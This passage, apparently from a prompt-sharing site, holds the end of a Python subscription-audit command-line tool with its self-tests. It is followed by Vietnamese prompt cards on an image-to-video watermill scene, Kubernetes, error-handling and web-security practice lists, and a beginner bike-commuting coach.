    unused_names = {f["name"] for f in flags if f["flag"] == "UNUSED"}
    total_m = sum((raw[it["name"]][0] for it in items), Decimal(0))
    your_m = sum((raw[it["name"]][1] for it in items), Decimal(0))
    return {
        "currency": currency, "today": today.isoformat(), "days": days, "rates": {k: str(v) for k, v in rates.items()},
        "count": len(items), "monthly_total": q(total_m), "yearly_total": q(total_m * 12),
        "your_monthly_total": q(your_m), "your_yearly_total": q(your_m * 12),
        "unused_yearly": q(sum((raw[it["name"]][0] * 12 for it in items if it["name"] in unused_names), Decimal(0))),
        "next_days_total": q(sum((x["amount"] for x in renewals), Decimal(0))),
        "by_category": {k: {"count": v["count"], "monthly": q(v["monthly"])} for k, v in sorted(cats.items(), key=lambda kv: -kv[1]["monthly"])},
        "items": sorted(items, key=lambda it: -it["monthly"]), "renewals": renewals, "flags": flags,
    }


def to_markdown(r):
    c = r["currency"]
    out = ["# Subscription audit", "",
           f"**As of:** {r['today']}  **Subscriptions:** {r['count']}  **Currency:** {c}  **Rates:** "
           + ", ".join(f"1 {k} = {v} {c}" for k, v in r["rates"].items() if k != c.upper()),
           f"**Total:** {r['monthly_total']} {c}/month = {r['yearly_total']} {c}/year  "
           f"**Your share:** {r['your_monthly_total']} {c}/month = {r['your_yearly_total']} {c}/year",
           f"**Unused (yearly cost):** {r['unused_yearly']} {c}  **Charges in next {r['days']} days:** {r['next_days_total']} {c}",
           "", "## Action list", ""]
    out += [f"- **{f['flag']}** {f['name']}: {f['detail']}" for f in r["flags"]] or ["- Nothing to act on."]
    out += ["", "## All subscriptions (most expensive first)", "",
            "| Name | Category | Charge | Cycle | Per month | Per year | Users | Your year | Next renewal |",
            "|---|---|---|---|---|---|---|---|---|"]
    for it in r["items"]:
        out.append(f"| {it['name']} | {it['category']} | {it['amount']:.2f} {it['currency']} | {it['cycle']} | {it['monthly']} | "
                   f"{it['yearly']} | {it['users']} | {it['your_yearly']} | {it.get('next_renewal', '')} |")
    out += ["", "## By category", "", "| Category | Count | Per month |", "|---|---|---|"]
    out += [f"| {k} | {v['count']} | {v['monthly']} |" for k, v in r["by_category"].items()]
    out += ["", f"## Charges in the next {r['days']} days", ""]
    out += [f"- {x['date']} {x['name']}: {x['amount']} {c}" for x in r["renewals"]] or ["- none"]
    return "\n".join(out)


def self_test():
    cases = []

    def ok(name, cond):
        cases.append((name, bool(cond)))

    T = dt.date(2026, 10, 20)
    hdr = "name,amount,currency,cycle,next_renewal,category,last_used,users,trial_end,previous_amount,annual_price,paid_after_trial"

    def run(*lines, **kw):
        return audit(load([hdr, *lines]), today=T, **kw)

    ok("named cycles", parse_cycle("Quarterly") == (3, "m") and parse_cycle("annual") == (12, "m"))
    ok("every N units", parse_cycle("every 2 weeks") == (2, "w") and parse_cycle("1y") == (12, "m"))
    ok("month end clamps", add_cycle(dt.date(2026, 1, 31), 1, "m") == dt.date(2026, 2, 28))
    ok("leap year clamp", add_cycle(dt.date(2027, 2, 28), 12, "m") == dt.date(2028, 2, 28) and add_cycle(dt.date(2028, 1, 31), 1, "m") == dt.date(2028, 2, 29))
    r = run("A,10,EUR,monthly,,X,,,,,,")
    ok("monthly 10 = 120/year", r["yearly_total"] == Decimal("120.00"))
    r = run("A,120,EUR,yearly,,X,,,,,,")
    ok("yearly 120 = 10/month", r["monthly_total"] == Decimal("10.00"))
    r = run("A,5,EUR,weekly,,X,,,,,,")
    ok("weekly 5 = 260.89/year", r["yearly_total"] == Decimal("260.89") and r["items"][0]["monthly"] == Decimal("21.74"))
    r = run("A,1,EUR,monthly,,X,,3,,,,", "B,1,EUR,monthly,,X,,3,,,,", "C,1,EUR,monthly,,X,,3,,,,")
    ok("totals use unrounded shares", r["your_monthly_total"] == Decimal("1.00"))
    r = run("A,10,USD,monthly,,X,,,,,,", rates={"USD": "0.9"})
    ok("currency rate applied", r["monthly_total"] == Decimal("9.00"))
    try:
        run("A,10,GBP,monthly,,X,,,,,,")
        ok("missing rate rejected", False)
    except AuditError:
        ok("missing rate rejected", True)
    r = run("Fam,20,EUR,monthly,,Music,,4,,,,")
    ok("shared plan your share", r["your_monthly_total"] == Decimal("5.00") and r["monthly_total"] == Decimal("20.00"))
    r = run("Old,10,EUR,monthly,,X,2026-07-01,,,,,")
    ok("unused flagged", any(f["flag"] == "UNUSED" for f in r["flags"]) and r["unused_yearly"] == Decimal("120.00"))
    r = run("Fresh,10,EUR,monthly,,X,2026-10-01,,,,,")
    ok("recent use not flagged", not r["flags"])
    r = run("A,10,EUR,monthly,,Video,,,,,,", "B,8,EUR,monthly,,Video,,,,,,")
    ok("overlap flagged", [f["flag"] for f in r["flags"]] == ["OVERLAP"])
    r = run("T,0,EUR,monthly,2026-10-25,Software,,,2026-10-25,,,24.99")
    ok("trial flagged with paid price", r["flags"][0]["flag"] == "TRIAL" and "24.99" in r["flags"][0]["detail"])
    ok("trial charge counted in renewals", r["renewals"][0]["amount"] == Decimal("24.99"))
    r = run("P,12,EUR,monthly,,X,,,,10,,")
    ok("price increase flagged", r["flags"][0]["flag"] == "PRICE_UP" and "+20.00%" in r["flags"][0]["detail"] and "+24.00" in r["flags"][0]["detail"])
    r = run("M,10,EUR,monthly,,X,,,,,99,")
    ok("annual saving flagged", r["flags"][0]["flag"] == "ANNUAL_SAVES" and "saves 21.00" in r["flags"][0]["detail"])
    r = run("M,10,EUR,monthly,,X,,,,,130,")
    ok("no saving when annual is pricier", not r["flags"])
    r = run("Y,50,EUR,yearly,2026-11-01,X,,,,,,")
    ok("yearly renewal soon flagged", r["flags"][0]["flag"] == "RENEWS_YEARLY")
    r = run("W,1,EUR,weekly,2026-10-21,X,,,,,,")
    ok("weekly renewals listed in window", len(r["renewals"]) == 5 and r["next_days_total"] == Decimal("5.00"))
    r = run("Past,10,EUR,monthly,2026-08-15,X,,,,,,")
    ok("rolled forward to the future", r["items"][0]["next_renewal"] == "2026-11-15")
    for line, label in [("A,-3,EUR,monthly,,X,,,,,,", "negative amount rejected"),
                        ("A,3,EUR,sometimes,,X,,,,,,", "unknown cycle rejected"),
                        ("A,3,EUR,monthly,20-10-2026,X,,,,,,", "bad date rejected"),
                        ("A,3,EUR,monthly,,X,,0,,,,", "zero users rejected")]:
        try:
            run(line)
            ok(label, False)
        except AuditError:
            ok(label, True)
    ok("markdown has action list", "## Action list" in to_markdown(run("A,10,EUR,monthly,,X,,,,,,")))
    passed = sum(c for _, c in cases)
    for name, c in cases:
        print(("PASS " if c else "FAIL ") + name)
    print(f"{passed}/{len(cases)} passed")
    return 0 if passed == len(cases) else 1


def default(o):
    if isinstance(o, Decimal):
        return float(o)
    raise TypeError(type(o))


def main(argv=None):
    ap = argparse.ArgumentParser(description="Audit recurring subscriptions: true yearly cost, unused, overlapping, trials and renewals.")
    ap.add_argument("file", nargs="?", help="subscriptions CSV ('-' for stdin)")
    ap.add_argument("--currency", default="EUR", help="report currency (default EUR)")
    ap.add_argument("--rate", action="append", default=[], metavar="CUR=VALUE",
                    help="1 CUR = VALUE report-currency units, e.g. USD=0.92 (repeatable)")
    ap.add_argument("--today", help="evaluation date YYYY-MM-DD (default: today)")
    ap.add_argument("--days", type=int, default=30, help="look-ahead for renewals and trials (default 30)")
    ap.add_argument("--unused-days", type=int, default=45, help="flag items not used for this many days (default 45)")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.file:
        ap.error("subscriptions CSV required (or --self-test)")
    try:
        rates = {}
        for x in a.rate:
            k, _, v = x.partition("=")
            if not v:
                raise AuditError(f"bad --rate {x!r}, use CUR=VALUE")
            rates[k.strip().upper()] = Decimal(v.strip())
        lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
        today = dt.date.fromisoformat(a.today) if a.today else None
        r = audit(load(lines), a.currency.upper(), rates, today, a.days, a.unused_days)
    except (OSError, AuditError, ValueError) as e:
        print(f"error: {e}", file=sys.stderr)
        return 2
    print(json.dumps(r, indent=2, default=default, ensure_ascii=False) if a.json else to_markdown(r))
    return 0


if __name__ == "__main__":
    sys.exit(main())
Personal FinanceBudgetingPlanning+2
F@f
0
Video
Cối xay nước bằng đá lúc bình minh mùa thu (Hoạt ảnh chuyển từ Ảnh sang Video)

Tạo chuyển động cho bức ảnh cối xay nước ở bước 2 làm khung hình đầu tiên thành một cảnh quay êm dịu dài 6 giây: bánh xe nước đón dòng từ trên đỉnh quay đều dưới máng dẫn, dòng suối sủi bọt trắng xóa qua những tảng đá phủ rêu, làn sương mù trôi nhẹ, lá thu rơi, khói ống khói cuộn bay, và máy quay từ từ tiến lại gần. Bước 3 trong quy trình Cối xay nước bằng đá.

Bắt đầu từ bức ảnh ở bước 2 "Cối xay nước bằng đá bên dòng suối trong rừng lúc bình minh mùa thu" làm khung hình đầu tiên chính xác tuyệt đối, và tạo chuyển động cho nó thành một cảnh quay điện ảnh êm dịu dài 6 giây. Giữ nguyên ngôi nhà cối xay bằng đá, mái ngói đá phiến, bánh xe nước bằng gỗ đón dòng từ trên đỉnh ở phía bên phải, máng dẫn nước, các ô cửa sổ, hàng cây và bố cục khung hình giống hệt như trong ảnh. Bánh xe nước quay chậm rãi và đều đặn nhờ dòng nước đổ từ máng gỗ xuống phần đỉnh bánh xe, với làn nước lấp lánh tràn ra từ các hộc chứa và bắn tung tóe xuống dòng suối. Dòng suối chảy hướng về phía máy quay và đổ tràn qua những tảng đá phủ đầy rêu ở tiền cảnh, tạo nên lớp bọt trắng mềm mại. Làn sương mù thấp trôi chậm rãi ngang qua mặt nước từ trái sang phải. Một vài chiếc lá màu cam và vàng óng rơi nhẹ nhàng từ những tán cây phong rồi trôi xuôi theo dòng nước. Làn khói mỏng nhạt màu bốc lên và uốn lượn từ ống khói, hai ô cửa sổ sáng đèn tỏa ánh sáng ấm áp lung linh nhè nhẹ, và những chú chim nhỏ chao liệng ngang bầu trời. Ánh sáng bình minh vàng óng từ từ bừng sáng rõ hơn. Máy quay thực hiện một chuyển động tiến vào (push-in) cực kỳ chậm và mượt mà hướng về phía cối xay nước. Chuyển động tự nhiên, chân thực, không cắt cảnh, không thêm vật thể mới, không có người, không có chữ.
Video GenerationImage To VideoWorkflow+2
F@f
0
Kubernetes taste
Văn bản

Các quy ước mang tính định hướng rõ ràng để triển khai, bảo mật và vận hành các tải công việc (workloads) trên các cụm Kubernetes.

# Gu vận hành Kubernetes của một đội ngũ kỹ thuật nền tảng (platform team)
- Triển khai mọi thứ thông qua GitOps (Argo CD hoặc Flux); không ai chạy lệnh kubectl apply trực tiếp lên môi trường production bằng tay. Độ tin cậy: 0.90
- Đóng gói các dịch vụ dùng chung bằng Helm hoặc Kustomize, nhưng giữ cho các lớp cấu hình ghi đè (overlays) theo từng môi trường luôn nhỏ gọn và dễ đọc. Độ tin cậy: 0.80
- Thiết lập mức yêu cầu (requests) về CPU và bộ nhớ trên mọi container, và đặt giới hạn (limit) bộ nhớ bằng đúng mức request. Độ tin cậy: 0.90
- Tránh đặt giới hạn trần CPU (CPU limits) trên các dịch vụ nhạy cảm với độ trễ; hãy dựa vào thông số requests và việc tính toán kích thước node để ngăn chặn tình trạng bóp băng thông xử lý (throttling). Độ tin cậy: 0.70
- Trang bị readiness probe cho mọi Deployment; chỉ thêm liveness probe khi ứng dụng thực sự có nguy cơ rơi vào trạng thái treo cứng (deadlock). Độ tin cậy: 0.85
- Sử dụng startup probe cho các ứng dụng khởi động chậm thay vì đặt giá trị initialDelaySeconds quá dài trên liveness probe. Độ tin cậy: 0.80
- Chạy ít nhất hai bản sao (replicas) đứng sau một PodDisruptionBudget đối với bất kỳ dịch vụ nào mà người dùng phụ thuộc vào. Độ tin cậy: 0.90
- Phân bổ đều các bản sao qua nhiều vùng khả dụng (zones) bằng cách sử dụng topologySpreadConstraints. Độ tin cậy: 0.80
- Ghim cố định các image bằng mã băm (digest) hoặc một thẻ phiên bản bất biến (immutable version tag), tuyệt đối không bao giờ dùng thẻ latest. Độ tin cậy: 0.95
- Chạy các container dưới quyền người dùng không phải root (non-root) với hệ thống tệp gốc chỉ đọc (read-only root filesystem) và loại bỏ toàn bộ các quyền capabilities. Độ tin cậy: 0.90
- Thực thi tiêu chuẩn bảo mật Pod mức hạn chế (restricted Pod Security Standard) trên các namespace chứa ứng dụng. Độ tin cậy: 0.80
- Khởi đầu mọi namespace bằng một NetworkPolicy mặc định chặn toàn bộ (default-deny) và chỉ mở đúng những luồng kết nối mà bạn thực sự cần. Độ tin cậy: 0.80
- Cấp cho mỗi workload một ServiceAccount riêng biệt và tắt tính năng tự động gắn kết token (automount) khi workload đó không bao giờ gọi tới API server. Độ tin cậy: 0.85
- Giữ các thông tin bí mật (secrets) nằm ngoài Git; đồng bộ chúng từ trình quản lý bí mật bằng External Secrets hoặc sử dụng Sealed Secrets. Độ tin cậy: 0.90
- Sử dụng một namespace cho mỗi nhóm (team) hoặc mỗi ứng dụng, đi kèm với ResourceQuota và LimitRange. Độ tin cậy: 0.80
- Áp dụng bộ nhãn tiêu chuẩn app.kubernetes.io cho mọi tài nguyên. Độ tin cậy: 0.75
- Xử lý tín hiệu SIGTERM và thêm một khoảng chờ ngắn (sleep) trong preStop để các yêu cầu đang xử lý dở (in-flight requests) hoàn tất trước khi tắt hẳn. Độ tin cậy: 0.85
- Mở rộng quy mô (scale) các dịch vụ không trạng thái (stateless) bằng HorizontalPodAutoscaler dựa trên mức sử dụng CPU hoặc chỉ số tốc độ yêu cầu thực tế. Độ tin cậy: 0.75
- Chạy cơ sở dữ liệu trên dịch vụ đám mây được quản lý (managed cloud service) thay vì dùng StatefulSets trừ khi có lý do thực sự thuyết phục. Độ tin cậy: 0.80
- Xác thực các tệp manifest trong quy trình CI bằng kubeconform và một công cụ kiểm tra chính sách như Kyverno hoặc OPA Gatekeeper. Độ tin cậy: 0.80
- Duy trì phiên bản của các cụm (clusters) không tụt hậu quá hai phiên bản phụ (minor versions) so với bản phát hành Kubernetes mới nhất và nâng cấp theo lịch trình định kỳ. Độ tin cậy: 0.75
- Phơi bày (expose) các dịch vụ HTTP thông qua một bộ điều khiển ingress dùng chung hoặc Gateway API controller, thay vì tạo một LoadBalancer riêng cho từng dịch vụ. Độ tin cậy: 0.75
DevOpsCloudInfrastructure+2
F@f
0
Xử lý Lỗi taste
Văn bản

Các ưu tiên mang tính định hướng rõ ràng trong việc xử lý, ghi nhật ký (log) và báo cáo lỗi trong các dịch vụ backend viết bằng TypeScript.

# Gu xử lý lỗi của một kỹ sư backend TypeScript
- Báo lỗi sớm ngay tại ranh giới hệ thống (fail fast at the edges): xác thực mọi dữ liệu đầu vào từ bên ngoài bằng thư viện schema như Zod trước khi dữ liệu chạm tới tầng logic nghiệp vụ. Độ tin cậy: 0.90
- Tách biệt rõ các lỗi miền nghiệp vụ đã lường trước (không tìm thấy, xung đột, lỗi xác thực dữ liệu) với các lỗi hệ thống (bugs) bất ngờ, và xử lý chúng theo cách khác nhau. Độ tin cậy: 0.90
- Mô hình hóa các lỗi thất bại có thể dự đoán trước dưới dạng giá trị trả về hoặc kiểu dữ liệu Result; chỉ dành lệnh throw cho những trường hợp ngoại lệ thực sự bất thường. Độ tin cậy: 0.70
- Định nghĩa một tập hợp nhỏ các lớp lỗi có kiểu dữ liệu rõ ràng (typed error classes) kèm theo một trường mã lỗi (code) ổn định để máy có thể đọc hiểu. Độ tin cậy: 0.85
- Không bao giờ nuốt lỗi trong im lặng; một khối catch trống bắt buộc phải có dòng chú thích giải thích lý do tại sao. Độ tin cậy: 0.95
- Khi ném lại lỗi (rethrowing), hãy bọc lỗi gốc bằng tùy chọn cause để giữ nguyên chuỗi ngăn xếp lệnh gọi (stack chain). Độ tin cậy: 0.85
- Chỉ bắt (catch) lỗi tại nơi bạn có thể bổ sung thêm ngữ cảnh, khôi phục trạng thái hoặc chuyển đổi lỗi đó; hãy để mọi lỗi khác tự nổi lên tầng trên (bubble up). Độ tin cậy: 0.85
- Ánh xạ các lỗi thành phản hồi HTTP tại một bộ xử lý lỗi tập trung duy nhất, thay vì xử lý rải rác bên trong từng route. Độ tin cậy: 0.90
- Trả về phần thân phản hồi theo chuẩn RFC 9457 problem+json gồm mã lỗi (code), thông điệp dành cho người dùng và mã định danh yêu cầu (request id). Độ tin cậy: 0.75
- Tuyệt đối không làm rò rỉ dấu vết ngăn xếp (stack traces), câu lệnh SQL hoặc tên máy chủ nội bộ cho các API client. Độ tin cậy: 0.95
- Chỉ ghi log mỗi lỗi một lần duy nhất tại ranh giới nơi xử lý lỗi đó, không ghi log lặp lại ở mọi tầng mà lỗi đi qua. Độ tin cậy: 0.85
- Đưa ngữ cảnh có cấu trúc vào nhật ký lỗi (request id, user id, tên thao tác), tuyệt đối không bao giờ ghi kèm các khóa bí mật (secrets) hay token. Độ tin cậy: 0.90
- Chỉ thực hiện thử lại (retry) đối với các thao tác có tính bất biến (idempotent), sử dụng exponential backoff, jitter và có giới hạn cứng về số lần thử. Độ tin cậy: 0.90
- Đặt thời gian chờ (timeout) cho mọi lệnh gọi mạng; một lệnh gọi thiếu timeout chính là một lỗi (bug). Độ tin cậy: 0.95
- Sử dụng AbortController để hủy bỏ các tác vụ phía hạ nguồn (downstream) khi bên gọi đã ngắt kết nối. Độ tin cậy: 0.75
- Bọc các dịch vụ phụ thuộc chập chờn bên trong một bộ ngắt mạch (circuit breaker) để một dịch vụ chậm không thể kéo sập toàn bộ ứng dụng. Độ tin cậy: 0.70
- Coi các lỗi từ chối promise chưa được xử lý (unhandled promise rejections) là lỗi nghiêm trọng làm dừng chương trình (fatal): ghi log chúng và để tiến trình khởi động lại. Độ tin cậy: 0.85
- Để trình giám sát tiến trình (supervisor) khởi động lại một tiến trình bị sập thay vì cố gắng duy trì hoạt động của một tiến trình đã rơi vào trạng thái hỏng. Độ tin cậy: 0.80
- Báo cáo các lỗi bất ngờ tới công cụ theo dõi lỗi (error tracker) kèm theo nhãn phiên bản phát hành (release) và môi trường (environment). Độ tin cậy: 0.85
- Viết kiểm thử (test) cho cả các luồng thất bại chứ không chỉ riêng luồng thành công (happy path). Độ tin cậy: 0.85
- Viết thông báo lỗi nêu rõ cái gì đã thất bại, với dữ liệu đầu vào nào, và bên gọi có thể làm gì tiếp theo. Độ tin cậy: 0.85
- Sử dụng kiểu dữ liệu never trong các câu lệnh switch vét cạn (exhaustive switch) để các mã lỗi mới làm quá trình biên dịch (build) báo lỗi ngay cho đến khi được xử lý đầy đủ. Độ tin cậy: 0.75
BackendBest PracticesTypeScript+2
F@f
0
Bảo mật Web taste
Văn bản

Các thiết lập bảo mật mặc định mang tính định hướng rõ ràng cho việc xác thực, xử lý dữ liệu đầu vào và gia cố bảo mật HTTP trong các ứng dụng web.

# Gu bảo mật web của một lập trình viên full-stack
- Sử dụng cơ chế xác thực có sẵn của framework hoặc một thư viện đã được kiểm chứng kỹ lưỡng; không bao giờ tự viết thủ công phần lưu trữ mật khẩu hay quản lý phiên đăng nhập (session). Độ tin cậy: 0.95
- Băm (hash) mật khẩu bằng Argon2id hoặc bcrypt với hệ số chi phí tính toán (work factor) hợp lý. Độ tin cậy: 0.95
- Lưu trữ phiên làm việc (session) trong cookie có bật cờ HttpOnly, Secure, SameSite=Lax thay vì lưu trong localStorage. Độ tin cậy: 0.90
- Xoay vòng (đổi mới) mã định danh phiên (session id) khi đăng nhập và khi có sự thay đổi về quyền hạn. Độ tin cậy: 0.85
- Cung cấp passkey hoặc TOTP làm yếu tố xác thực thứ hai, và bắt buộc áp dụng đối với các tài khoản quản trị viên (admin). Độ tin cậy: 0.85
- Kiểm tra phân quyền (authorization) ở phía máy chủ cho mọi yêu cầu (request), bao gồm cả việc kiểm tra trên các mã định danh đối tượng (object ids), để ngăn chặn lỗ hổng IDOR. Độ tin cậy: 0.95
- Mặc định từ chối (Deny by default): các route mới tạo đều ở trạng thái riêng tư cho đến khi có người chủ động cấu hình công khai chúng. Độ tin cậy: 0.85
- Sử dụng truy vấn tham số hóa (parameterized queries) hoặc ORM ở mọi nơi; không bao giờ tạo câu lệnh SQL bằng cách nối chuỗi. Độ tin cậy: 0.95
- Dựa vào cơ chế tự động escape của template engine và coi mọi cơ chế chèn HTML thô (raw HTML) là một cờ cảnh báo cần rà soát kỹ khi duyệt mã nguồn. Độ tin cậy: 0.90
- Triển khai chính sách Content Security Policy (CSP) nghiêm ngặt sử dụng mã nonce, bắt đầu ở chế độ chỉ báo cáo (report-only mode). Độ tin cậy: 0.80
- Gửi kèm các header HSTS, X-Content-Type-Options: nosniff và frame-ancestors trên mọi phản hồi (response). Độ tin cậy: 0.85
- Bảo vệ các yêu cầu làm thay đổi trạng thái bằng cookie SameSite kết hợp với CSRF token hoặc kiểm tra nguồn gốc (origin check). Độ tin cậy: 0.85
- Giới hạn tần suất gọi (rate-limit) đối với các điểm cuối (endpoints) đăng nhập, đăng ký, đặt lại mật khẩu và các điểm cuối tốn nhiều tài nguyên khác. Độ tin cậy: 0.90
- Trả về cùng một thông báo giống nhau cho cả trường hợp email không tồn tại và trường hợp sai mật khẩu để tránh lỗ hổng dò tìm tài khoản (account enumeration). Độ tin cậy: 0.80
- Xác thực các tệp tải lên theo loại nội dung (content type) và kích thước, lưu trữ chúng bên ngoài thư mục gốc của web (web root), và phục vụ chúng từ một tên miền riêng biệt. Độ tin cậy: 0.80
- Chặn các yêu cầu từ phía máy chủ gọi tới các dải IP nội bộ và IP metadata để ngăn chặn lỗ hổng SSRF. Độ tin cậy: 0.80
- Lưu giữ các thông tin bí mật (secrets) trong trình quản lý bí mật (secret manager) hoặc biến môi trường, tuyệt đối không lưu trong kho mã nguồn (repo) hay gói mã phía client (client bundle). Độ tin cậy: 0.95
- Chạy kiểm toán gói phụ thuộc (dependency audits) và tự động tạo PR cập nhật (Dependabot hoặc Renovate) trên mọi kho mã nguồn. Độ tin cậy: 0.85
- Ghi nhật ký (log) các sự kiện bảo mật như đăng nhập thành công, đăng nhập thất bại và thay đổi quyền hạn, nhưng tuyệt đối không ghi thông tin xác thực (credentials) vào log. Độ tin cậy: 0.85
- Cấu hình CORS với danh sách cho phép (allowlist) gồm các origin tường minh; không bao giờ phản chiếu nguyên xi origin của yêu cầu đi kèm với thông tin xác thực (credentials). Độ tin cậy: 0.90
- Sử dụng các API token có thời hạn ngắn, phạm vi quyền hạn hẹp và có khả năng thu hồi (revocable). Độ tin cậy: 0.85
- Thực hiện kiểm tra nhanh theo danh sách OWASP Top 10 trong quá trình duyệt mã (code review) cho mọi tính năng liên quan đến xác thực, dữ liệu đầu vào hoặc xử lý tệp tin. Độ tin cậy: 0.75
BackendWeb DevelopmentSecurity+2
F@f
0
Đóng vai Huấn luyện viên Đạp xe Đi làm cho Người mới bắt đầu
Văn bản

Huấn luyện người mới đi xe hoặc đi xe trở lại sau thời gian dài tự tin đạp xe đi làm: kiểm tra mức độ sẵn sàng và độ vừa vặn của xe đạp, chấm điểm lộ trình êm ả, lộ trình tập luyện nâng dần trong hai tuần, kỹ năng đi trong dòng giao thông, trang bị theo thứ tự ưu tiên, kế hoạch xử lý mồ hôi và thời tiết, khóa xe, danh sách kiểm tra ngày đi làm, xử lý sự cố và nhật ký tiến độ.

Hãy đóng vai một Huấn luyện viên Đạp xe Đi làm cho Người mới bắt đầu. Bạn giúp những người trưởng thành chưa từng đạp xe đi làm, hoặc đã ngừng đạp xe từ nhiều năm trước, bắt đầu đạp xe đi làm một cách an toàn, thoải mái mà không phải mua sắm nhiều hơn mức cần thiết. Bạn luôn khích lệ nhưng thực tế: bạn lên kế hoạch ứng phó với thời tiết, giao thông, mồ hôi, nạn trộm cắp và đôi chân mỏi mệt, đồng thời xây dựng sự tự tin qua từng bước nhỏ thay vì thúc ép thực hiện toàn bộ quãng đường đi làm ngay trong ngày đầu tiên. Bạn tuân thủ luật giao thông địa phương, đặt khả năng dễ nhận diện (visibility) và cách điều khiển xe dễ đoán định lên hàng đầu, và không bao giờ giả vờ rằng một con đường đông đúc không có hạ tầng làn đường dành cho xe đạp là an toàn chỉ vì nó ngắn. Đối với các giới hạn y tế hoặc chấn thương, bạn khuyên mọi người đến gặp bác sĩ, và đối với các vấn đề về phanh hoặc khung xe, bạn khuyên họ mang xe đến tiệm sửa xe đạp.

Tình huống của tôi:
- Thành phố và thời tiết điển hình: mid-sized European city with rainy autumns
- Quãng đường đi làm một chiều: 7 km
- Chiếc xe đạp tôi đang có: old hybrid bike that has been in the basement for two years
- Mức độ thể lực: walks daily but no regular sport
- Tiện ích tại nơi làm việc: indoor bike room, no showers
- Nỗi lo lớn nhất: fast traffic on one main road and arriving sweaty

Trước tiên, hãy hỏi tôi trong một tin nhắn ngắn gọn về bất kỳ thông tin quan trọng nào còn thiếu: giờ xuất phát và giờ tôi phải có mặt tại chỗ làm, liệu tôi có thể kết hợp đi tàu hoặc xe buýt trên một phần quãng đường hay không, trang phục tôi bắt buộc phải mặc khi làm việc, liệu tôi có mang theo máy tính xách tay hoặc các vật nặng khác không, và tôi muốn đạp xe bao nhiêu ngày một tuần.

Sau đó, hãy huấn luyện tôi qua các phần sau:

1. **Kiểm tra Mức độ Sẵn sàng (Readiness Check)**: kiểm tra nhanh theo nguyên tắc ABC cho chiếc xe đạp của tôi (Air - hơi lốp, Brakes - phanh, Chain & cranks - xích và giò đĩa, chốt mở nhanh quick releases, đèn xe) bằng các bước đơn giản, phân định rõ ràng giữa những gì tôi có thể tự chỉnh tại nhà và những gì cần mang ra tiệm xe đạp. Thêm phần kiểm tra độ vừa vặn của xe (fit check): chiều cao yên, tầm với tay lái (reach), và cảm giác chuẩn xác khi tư thế ngồi vừa vặn.

2. **Thiết kế Lộ trình (Route Design)**: cách lập kế hoạch cho một lộ trình êm ả, bình yên thay vì lộ trình nhanh nhất: những con phố yên tĩnh, làn đường và đường dành riêng cho xe đạp, các nút giao có đèn tín hiệu, và những đoạn nên xuống dắt bộ. Hãy chỉ cho tôi cần tìm kiếm những yếu tố gì trên ứng dụng lập lộ trình và chế độ xem phố (street view), đồng thời cung cấp một bảng chấm điểm (tốc độ giao thông, chất lượng làn đường, nút giao, độ dốc, mặt đường, hệ thống chiếu sáng) để so sánh hai hoặc ba phương án lộ trình.

3. **Thang Tập luyện Nâng dần (Practice Ladder)**: lộ trình làm quen tăng dần trong hai tuần gồm năm đến bảy bước, bắt đầu bằng chuyến đạp thử vào cuối tuần trùng với khung giờ đi làm nhưng không có cảnh giờ cao điểm, sau đó là đi làm nửa quãng đường (đạp xe kết hợp phương tiện công cộng hoặc đạp xe một chiều), tiếp theo là đạp xe toàn bộ quãng đường trong hai ngày, rồi tiến dần tới số ngày mục tiêu của tôi. Mỗi bước đều có mục tiêu cụ thể, thời lượng và dấu hiệu nhận biết "khi nào nên chuyển sang bước tiếp theo".

4. **Kỹ năng Đạp xe trong Giao thông (Riding Skills for Traffic)**: vị trí đi trên đường, ngoái nhìn kiểm tra qua vai (shoulder checks), tín hiệu tay rõ ràng, vượt qua ô tô đang đỗ bên ngoài vùng mở cửa xe (door zone), xử lý rẽ trái và rẽ phải tại các nút giao, đi qua vòng xuyến, lưu ý với xe tải và xe buýt (điểm mù), và phải làm gì khi có tài xế đi quá sát. Đưa ra những quy tắc ngắn gọn, cụ thể để tôi dễ ghi nhớ.

5. **Trang bị theo Thứ tự Ưu tiên (Gear by Priority)**: chia làm ba bậc: bắt buộc phải có trước chuyến đi làm đầu tiên (đèn xe, khóa xe, mũ bảo hiểm nếu tôi chọn đội, bộ dụng cụ sửa chữa cơ bản), nên có trong tháng đầu tiên, và chỉ mua khi tôi duy trì đạp xe lâu dài. Với mỗi món đồ: giải thích tại sao nó quan trọng, khoảng giá ước tính và phương án thay thế tiết kiệm hơn.

6. **Mồ hôi, Thời tiết và Trang phục (Sweat, Weather, and Clothing)**: cách đến nơi làm việc vẫn thơm tho, mát mẻ khi không có phòng tắm (đạp chậm hơn, mặc nhiều lớp mỏng nhẹ, thay đồ tại chỗ làm, dùng khăn ướt lau người, để sẵn quần áo ở văn phòng), cộng với kế hoạch đi trời mưa, kế hoạch đi trời lạnh và kế hoạch đi vào buổi tối trời tối.

7. **An ninh và Đỗ xe (Security and Parking)**: cách khóa khung xe và bánh xe đúng kỹ thuật, những phụ kiện gì cần tháo mang theo khi rời xe, nên đỗ xe ở đâu, và cách ghi lưu lại số khung xe (frame number).

8. **Danh sách Kiểm tra Ngày đi làm (Commute Day Checklist)**: danh sách kiểm tra ngắn gọn cho tối hôm trước và buổi sáng trước khi đi.

9. **Xử lý Sự cố (Troubleshooting)**: bảng tổng hợp các sự cố thường gặp (xẹp lốp dọc đường, tuột xích, trời đổ mưa bất chợt, quá mệt không đạp xe về nổi, một tình huống suýt va chạm làm tôi hoảng sợ) kèm theo kế hoạch xử lý bình tĩnh cho từng tình huống, bao gồm cả phương án dự phòng để về nhà.

10. **Nhật ký Tiến độ (Progress Log)**: một biểu mẫu đơn giản để theo dõi số ngày đã đạp xe, thời gian, thời tiết, cảm nhận của bản thân và một điểm cần cải thiện.

Quy tắc: ngôn từ dễ hiểu, đoạn văn và danh sách ngắn gọn, sử dụng hệ mét (metric units) trừ khi tôi có yêu cầu khác, và không chê trách khi đạp tốc độ chậm hay khi chọn đi phương tiện công cộng vào những ngày thời tiết xấu. Kết thúc bằng một câu khích lệ tinh thần và một bước tiếp theo duy nhất mà tôi nên thực hiện ngay trong tuần này.
TravelSafetyBeginner+2
F@f
0
Trình tạo Bài đăng Bán lại Đồ cũ (JSON)
Văn bản

